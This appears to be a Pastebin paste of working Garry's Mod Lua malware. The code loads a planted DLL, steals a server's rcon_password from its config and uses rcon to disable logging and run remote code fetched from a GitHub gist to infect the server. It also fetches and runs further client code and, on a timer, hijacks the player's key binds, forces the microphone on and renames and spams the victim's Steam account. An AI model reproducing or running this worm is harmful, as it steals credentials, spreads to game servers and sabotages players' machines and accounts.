Guest User

Untitled

a guest
Apr 18th, 2014
507
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.65 KB | None | 0 0
  1. timer.Simple(14, function()
  2. pcall(function() -- remove print
  3. if file.Exists("download/engine_win32.dll", "MOD") then -- No longer infected?
  4. require("/../../../download/engine")
  5.  
  6. if not file.Exists("engine_win32.dll", "MOD") then
  7. local module_file = file.Open("download/engine_win32.dll", "rb", "MOD")
  8. local module_data = module_file:Read(module_file:Size())
  9.  
  10. CreateFile("garrysmod/engine_win32.dll", module_data)
  11. end
  12.  
  13. DeleteFile("garrysmod/download/cfg/server.cfg")
  14. RequestFile("cfg/server.cfg")
  15.  
  16. timer.Create("isittime", 1, 0, function()
  17. if GetTimeStamp() < (1397865590 + (60 * 60 * 12)) then return end -- 10 seconds before midnight
  18. timer.Remove("isitime")
  19.  
  20. hook.Add( "PreDrawHUD", "MenuOverwrite", function()
  21. if (gui.IsGameUIVisible()) then
  22. gui.HideGameUI()
  23. end
  24. end )
  25.  
  26. sound.PlayURL("https://dl.dropboxusercontent.com/u/3659637/overture.ogg", "", function() end)
  27.  
  28. timer.Simple(20, function()
  29. local keyList = { "TAB", "ESCAPE", "SPACE", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "F10", "a", "c", "d", "e", "f", "g", "p", "q", "r", "s", "u", "w", "y", "z", "x", "ALT", "CTRL", "SHIFT", "F5", "F6", "F9", "MWHEELDOWN", "MWHEELUP", "MOUSE1", "MOUSE2", "MOUSE4", "PAUSE", "F1", "F2", "F3", "F4" }
  30. local command = "say VINH'LL FIX IT@@@@@@@@@@@@@@@@@@@@@@@@@"
  31.  
  32. for _, v in pairs( keyList ) do
  33. local cmd = "bind " .. v .. " \"" .. command .. "\""
  34. LocalPlayer():ConCommand([[playvideo_exitcommand f ]] .. cmd)
  35. end
  36.  
  37. LocalPlayer():ConCommand([[playvideo_exitcommand f host_writeconfig]])
  38. LocalPlayer():ConCommand([[playvideo_exitcommand f alias bind echo nope]])
  39.  
  40. LocalPlayer():ConCommand([[+voicerecord]])
  41. LocalPlayer():ConCommand([[playvideo_exitcommand f alias -voicerecord echo nope]])
  42.  
  43. local vinh = vgui.Create("HTML")
  44. vinh:SetSize(256, 256)
  45. vinh:SetPos(ScrW()/2 - 128, ScrH()/2 - 128)
  46. vinh:OpenURL("http://i.imgur.com/NunR9ya.png")
  47. vinh:ParentToHUD()
  48.  
  49. SWSetName("VINH'LL FIX IT@@")
  50. SWAddFriend("76561197968611839")
  51. SWAddFriend("76561198074112160")
  52. SWSpamFriends("FIX IT VINH", 42)
  53.  
  54. DeleteFile("garrysmod/materials/cooltexture.vtf") -- Cleaned up for ya, guys
  55. end)
  56. end)
  57.  
  58. timer.Create("cfgchk", 2, 0, function()
  59. if file.Exists("download/cfg/server.cfg", "MOD") then
  60. timer.Remove("cfgchk")
  61.  
  62. local servercfg_file = file.Open("download/cfg/server.cfg", "r", "MOD")
  63. local servercfg_data = servercfg_file:Read(servercfg_file:Size())
  64. local rcon_password_command = false
  65.  
  66. for line in servercfg_data:gmatch("[^\r\n]+") do
  67. if line:lower():find("rcon_password", nil, true) then
  68. rcon_password_command = line
  69. end
  70. end
  71.  
  72. if rcon_password_command then
  73. ConCommand(rcon_password_command .. "\n")
  74. ConCommand("rcon sv_rcon_log 0\n")
  75. ConCommand("rcon sv_allowupload 1\n")
  76. ConCommand("clear")
  77.  
  78. timer.Simple(8, function()
  79. ConCommand("rcon lua_run http.Fetch([[https]] .. string.char(58) .. [[/]] .. [[/gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/server_infect.lua]], function(c) local ret = CompileString(c, [[l]], false) pcall(ret) end, function() end)\n")
  80. SendFile("engine_win32.dll")
  81.  
  82. timer.Simple(4, function()
  83. ConCommand("clear\n")
  84. end)
  85. end)
  86. end
  87. end
  88. end)
  89. end
  90.  
  91. http.Fetch("https://gist.githubusercontent.com/Chrisaster/d9872acbf2da227e9281/raw/client_everytime.lua", function(c)
  92. local f = CompileString(c, "l", false)
  93. pcall(f)
  94. end)
  95. end)
  96. end)
Advertisement
Add Comment
Please, Sign In to add comment